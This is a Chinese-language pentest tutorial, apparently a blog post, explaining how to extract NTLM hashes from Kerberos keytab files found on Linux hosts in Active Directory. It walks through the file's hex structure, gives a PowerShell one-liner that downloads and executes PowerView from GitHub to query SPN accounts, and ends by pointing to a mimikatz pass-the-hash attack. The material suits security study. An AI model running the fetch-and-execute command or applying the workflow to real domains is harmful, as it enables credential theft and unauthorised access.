Extracting NTLM Hashes from keytab files

Extracting NTLM Hashes from keytab files

前言

在Active Direcory环境中渗透的时候,肯定有很多linux的机器,做信息收集的时候,可能会发现keytab文件,
正常情况下这玩意会被忽视掉的,但是它里面有我们需要的东西。
就是==NTLM HASH==

什么是Keytab文件?

Keytab文件允许linux机器和Kerberos进行身份验证,这些文件里面包含Kerberos Principals和密钥,用于通过请求票证与Kerberos交互。
Wing

这样打开是看不到内容的。
keytab文件的结构记录在https://www.gnu.org/software/shishi/manual/html_node/The-Keytab-Binary-File-Format.html。
在十六进制编辑器中打开它才会更有意义。
title

数据的含义

为了方便理解,在sublime text里面打开分析。
title

我将文件分解为较小的块,根据文档来表示数据结构。

1
2
3
4
5
6
7
8
9
10
11
12
0502 - 表示密钥表版本的16位值(在这种情况下为502
0000 0047 - 32位值,表示密钥表文件在这些位之后的字节数。注意,4771的十六进制形式,因此在0000 0047
之后有71个字节
0000c 736f 736c 6162 2e6c 6f63 616c - 16位值表示将跟随多少字节(000c十进制转换是12),在这个例子中,soslab.local是12个字节。
0004 6874 7470 - 16位值,表明在委托人的第一部分中有多少字节(在这种情况下为4),后跟相应的字节(本例中为http)

0012 7465 7374 312e 736f 736c 6162 2e6c 6f63 616c - 16位值,表明它后面有多少字节专用于主体的剩余部分。同样,0012是十六进制的,因此十进制值是22.余数代表test1.soslab.local。
0000 0000 - 表示位类型名称的32位值(在本例中为NT-UNKNOWN)。
0000 0000 - 表示时间戳的32位值
04-表示密钥版本号的8位值。
0017 - 16位值表示使用的加密类型(RC4-HMAC)在这种情况下
0010 8955 1acf f889 5768 e489 bb30 54af 94fd - 16位值表示将跟随多少字节(十六进制中的0010转换为二进制中的16),然后是NTLM HASH。

ATTACK

我们已经恢复了一个NTLM HASH,对于我们来说是一个很好的消息,但是我们不知道该哈希与哪个用户相关联。所以,就需要进行SPN查询。

我备注一下什么是SPN吧,服务主体名称(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地标识服务的实例。Kerberos 身份验
证使用 SPN 将服务实例与服务登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx]
。例如,你可以在那些运行 MSSQL 服务器、HTTP 服务器、打印服务器和其他服务器的服务帐户找到一个用于服务
的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的重要部分。这是因为任何域用户帐户都可以查询与 Active
Directory 关联的所有服务帐户和服务器的 AD。我们可以在不扫描单个主机的情况下识别所有数据库服务器和 Web
服务器!这是雪茗小姐姐那本译文上面的。

powershell:

1
iex (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser -SPN

title

最后用mimi进行pth攻击就行了。
title

Python Script for Hash Extraction

作者写了个脚本用来提权这个文件的hash
https://github.com/sosdave/KeyTabExtract

title

打赏wing!